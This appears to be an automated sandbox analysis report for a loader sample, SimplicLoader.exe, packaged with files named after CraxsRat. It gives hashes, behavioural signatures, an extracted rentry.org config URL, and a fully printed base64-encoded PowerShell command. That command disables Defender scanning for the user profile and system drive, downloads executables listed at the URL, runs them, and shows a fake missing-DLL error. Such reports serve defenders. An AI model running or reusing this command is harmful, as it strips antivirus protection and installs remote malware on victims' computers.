Overview
overview
10Static
static
7ChangeLog.html
windows10-1703-x64
1CraxsRat.exe.xml
windows10-1703-x64
1CraxsRat.xml
windows10-1703-x64
1License.xml
windows10-1703-x64
1LiveCharts.Wpf.xml
windows10-1703-x64
1SimplicLoader.exe
windows10-1703-x64
10System.IO....le.dll
windows10-1703-x64
1Vip.Notification.dll
windows10-1703-x64
1WinMM.Net.dll
windows10-1703-x64
1Analysis
-
max time kernel
14s -
max time network
19s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system -
submitted
11/04/2023, 20:30
Behavioral task
behavioral1
Sample
ChangeLog.html
Resource
win10-20230220-en
Behavioral task
behavioral2
Sample
CraxsRat.exe.xml
Resource
win10-20230220-en
Behavioral task
behavioral3
Sample
CraxsRat.xml
Resource
win10-20230220-en
Behavioral task
behavioral4
Sample
License.xml
Resource
win10-20230220-en
Behavioral task
behavioral5
Sample
LiveCharts.Wpf.xml
Resource
win10-20230220-en
Behavioral task
behavioral6
Sample
SimplicLoader.exe
Resource
win10-20230220-en
Behavioral task
behavioral7
Sample
System.IO.Compression.ZipFile.dll
Resource
win10-20230220-en
Behavioral task
behavioral8
Sample
Vip.Notification.dll
Resource
win10-20230220-en
Behavioral task
behavioral9
Sample
WinMM.Net.dll
Resource
win10-20230220-en
General
-
Target
SimplicLoader.exe
-
Size
75KB
-
MD5
72fb96fbbee9fa0c1c25030152f8a802
-
SHA1
22d1be899c8a2aca51420a9ae3f89c5528d7e347
-
SHA256
1f08b5e59bf1ec24b9be2c2211dccf22a6651202d29a9be6d8d2f99b127a9274
-
SHA512
bbcee824c437c0069d174d2b34ed42cecef72c22fee9418144af64083d8833af9572b3670bacfcfc1eb5cfa3da269aa289ee10d9d2eeb2442763e1dda1e3248d
-
SSDEEP
768:ol9EoLDR6GjcJUsg6O/scbnY+kVgbu7FpMtqwH7pRMAfPdqoxgGgKrVuua:S9RuU/da7HM1Zgero
Malware Config
Extracted
https://rentry.org/yui9p/raw
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 2 4300 powershell.exe 5 4300 powershell.exe -
Downloads MZ/PE file
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4300 powershell.exe 4300 powershell.exe 4300 powershell.exe 4844 powershell.exe 4844 powershell.exe 4844 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 4300 powershell.exe Token: SeDebugPrivilege 4844 powershell.exe Token: SeIncreaseQuotaPrivilege 4300 powershell.exe Token: SeSecurityPrivilege 4300 powershell.exe Token: SeTakeOwnershipPrivilege 4300 powershell.exe Token: SeLoadDriverPrivilege 4300 powershell.exe Token: SeSystemProfilePrivilege 4300 powershell.exe Token: SeSystemtimePrivilege 4300 powershell.exe Token: SeProfSingleProcessPrivilege 4300 powershell.exe Token: SeIncBasePriorityPrivilege 4300 powershell.exe Token: SeCreatePagefilePrivilege 4300 powershell.exe Token: SeBackupPrivilege 4300 powershell.exe Token: SeRestorePrivilege 4300 powershell.exe Token: SeShutdownPrivilege 4300 powershell.exe Token: SeDebugPrivilege 4300 powershell.exe Token: SeSystemEnvironmentPrivilege 4300 powershell.exe Token: SeRemoteShutdownPrivilege 4300 powershell.exe Token: SeUndockPrivilege 4300 powershell.exe Token: SeManageVolumePrivilege 4300 powershell.exe Token: 33 4300 powershell.exe Token: 34 4300 powershell.exe Token: 35 4300 powershell.exe Token: 36 4300 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3096 wrote to memory of 4300 3096 SimplicLoader.exe 67 PID 3096 wrote to memory of 4300 3096 SimplicLoader.exe 67 PID 4300 wrote to memory of 4844 4300 powershell.exe 68 PID 4300 wrote to memory of 4844 4300 powershell.exe 68
Processes
-
C:\Users\Admin\AppData\Local\Temp\SimplicLoader.exe"C:\Users\Admin\AppData\Local\Temp\SimplicLoader.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3096 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAdwBlACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHcAbABzACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATQBTAFYAQwBQADEAMQA0AC4AZABsAGwAIABpAHMAIABtAGkAcwBzAGkAbgBnACEAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHgAdgBmACMAPgA7ACIAOwA8ACMAeQBwAG4AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBuAHoAdQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB5AGMAbAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBpAHgAbAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AeQB1AGkAOQBwAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBkAGcAaAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGwAdwBtACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHUAaAB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBiAHcAaAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AHUAcwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdAB4AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAGEAcgB6ACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4300 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#wls#>[System.Windows.Forms.MessageBox]::Show('MSVCP114.dll is missing!','','OK','Error')<#xvf#>;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4844
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a